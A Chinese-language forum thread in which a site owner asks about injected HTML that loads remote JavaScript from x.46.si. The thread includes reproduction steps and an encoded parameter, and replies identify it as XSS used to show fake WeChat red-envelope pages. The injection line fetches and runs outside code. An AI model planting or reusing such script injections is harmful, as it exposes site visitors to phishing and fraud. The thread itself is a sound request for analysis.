这段 js 是什么新型病毒吗

[dotudeth]

1、vi x46si.html > '<meta charset="UTF-8"><title></title><script src="//x.46.si"></script>'

2、php -S 0.0.0.0:8899

3、http://0.0.0.0:8899/x46si.html?ifuoySfVvFScEGZgN4EzM7JSYwBnI6IiMmlDNyQmMhBTY5YaY2kjZxcjNaEGOiVjN4UWZ2YaNxMGNiwiIuFWblJiOiMHzvdnIsICdl1GcsFGdllERiojIaADOiwiI0lHclJiOioWdtBnIsIyZfVXzkJiOxkaM5MjNsIyZf5WYtVmI6IycoFmclJCLiAXdahmI6Qnc1VGLiQWY0FmI6Qnc1VWfgN4EzMPdwBFml

• 最近网站被注入了一段如上的 html,起初访问这个链接显示的是一个领红包的页面。目前的提示是内容被删除。
• 第 3 步同一个域名只能被访问一次，第二次访问浏览器会有如下提示。需要换一个域名才能访问，不知道这段 js 在背后做了些什么。

127.0.0.1 未发送任何数据。
ERR_EMPTY_RESPONSE

[flowfire]

第一句是把 x46si.html 这个文件的内容替换为后面的 html，里面有个 js 脚本，也就是 x.46.si ，这个域名下的脚本是最后执行的内容

第二句是启动一个 php server，

第三句 大概是访问你刚启动的服务器把。。。

[dotudeth]

@flowfire 1~3 是重现步骤,主要是那个 html 加载的 js 有问题。

[flowfire]

jsnice.org JS 反混淆的网站，你可以试试。
我反正是懒得一个一个找他从数组里面取得哪个值。。。

[xiaogouxo]

xss 利用，在微信里显示假红包等页面，保护他们自己的域名不被腾讯见红，反解过，要传一段加密参数才能正常工作，不然都显示已删除字样